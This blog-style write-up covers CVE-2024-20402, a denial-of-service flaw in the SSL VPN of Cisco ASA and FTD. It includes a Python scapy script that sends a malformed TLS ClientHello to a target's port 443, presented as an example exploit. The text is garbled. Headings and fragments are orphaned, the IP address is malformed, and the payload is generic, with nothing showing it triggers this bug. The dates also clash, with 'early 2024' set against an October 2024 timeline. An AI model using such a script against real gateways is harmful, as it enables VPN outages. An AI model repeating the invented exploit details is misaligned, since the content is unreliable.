In early 2024, Cisco published an advisory detailing a critical security vulnerability affecting two of its flagship products: the Adaptive Security Appliance (ASA) and Firepower Threat Defense (FTD). Tracked as CVE-2024-20402, this flaw can allow a remote, unauthenticated attacker to crash vulnerable devices using specially crafted SSL/TLS packets, resulting in a denial-of-service (DoS) condition.

Below, we'll break down what this vulnerability is, how it happens, and what it means for network administrators. We’ll also show an example of how an attacker might trigger this bug, discuss detection methods, and share mitigation steps.

What Is CVE-2024-20402?

CVE-2024-20402 is a logic error in how Cisco ASA and FTD handle SSL VPN connections. Specifically, it concerns memory management during the handling of SSL/TLS packets sent to the VPN endpoint. If an attacker sends specially crafted packets, the device can enter an invalid state and reload (crash), kicking off all users and breaking connectivity, thus causing a denial-of-service (DoS).

Cisco Firepower Threat Defense (FTD) Software

Only devices with SSL VPN (AnyConnect / WebVPN) enabled are vulnerable.

The Vulnerability

The bug is rooted in the way Cisco’s SSL VPN parser manages memory when handling certain SSL/TLS handshake and session packets. When receiving malformed packets, the system fails to properly validate data before consuming memory or releasing resources, causing an out-of-bounds access or memory corruption. This results in the device forcibly rebooting to protect itself.

Exploitation Workflow

1. Attacker discovers a device with SSL VPN enabled (public IP/hostname).
2. Sends a malformed SSL/TLS handshake packet (for instance, with invalid structure, size, or sequence).

Example Exploit and Code Snippet

Below is a Python example using the popular scapy library to send a malformed SSL/TLS handshake record to an ASA or FTD's SSL VPN port (by default, TCP 443). This is illustrative only—do not use maliciously.

from scapy.all import *

target_ip = '192..2.100'      # Change to the Cisco ASA/FTD device's IP
target_port = 443

# Fake TLS ClientHello with incorrect record length (oversized)
malformed_tls = (
    b'\x16'        # Content Type: Handshake
    b'\x03\x03'    # TLS Version: 1.2
    b'\x00\xFF'    # Length: 255 (exaggerated, may trigger logic bug)
    b'\x01'        # Handshake Type: ClientHello
    + b'\x00' * 252 # Padding to match fake length
)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(2)
s.connect((target_ip, target_port))
s.send(malformed_tls)
s.close()

How it works: This code sends a malformed SSL "ClientHello" record, which the ASA/FTD SSL parser might mishandle, leading to a crash if the device is vulnerable.

Real-World Impact

If an attacker can identify vulnerable Cisco ASA or FTD devices exposed to the internet (or even internally), they could continually crash VPN gateways, locking out remote workers and taking segments of the network offline. There is no need for credentials; attacks are totally unauthenticated.

Remote access VPN users disconnected

You can check ASA/FTD crash logs or syslog messages for clues that the device reloaded unexpectedly.

Cisco has released fixed versions—apply these ASAP

- Cisco Advisory

References

- Official Cisco Advisory: Cisco ASA and FTD Software SSL VPN Feature Denial of Service Vulnerability
- CVE entry: CVE-2024-20402 at MITRE
- Cisco Security Portal: ASA and FTD Software Downloads & Release Notes

Summary

CVE-2024-20402 is a serious memory handling flaw in Cisco's popular firewall and VPN solutions. The exploit is simple, public, and can cause repeated, disruptive outages for organizations that rely on remote access VPNs. Prompt patching and proper exposure control are the best defenses.

Stay vigilant, keep your gear updated, and restrict your perimeter—don’t let simple logic bugs become major business disruptions.

Timeline

Published on: 10/23/2024 18:15:07 UTC
Last modified on: 10/25/2024 12:56:36 UTC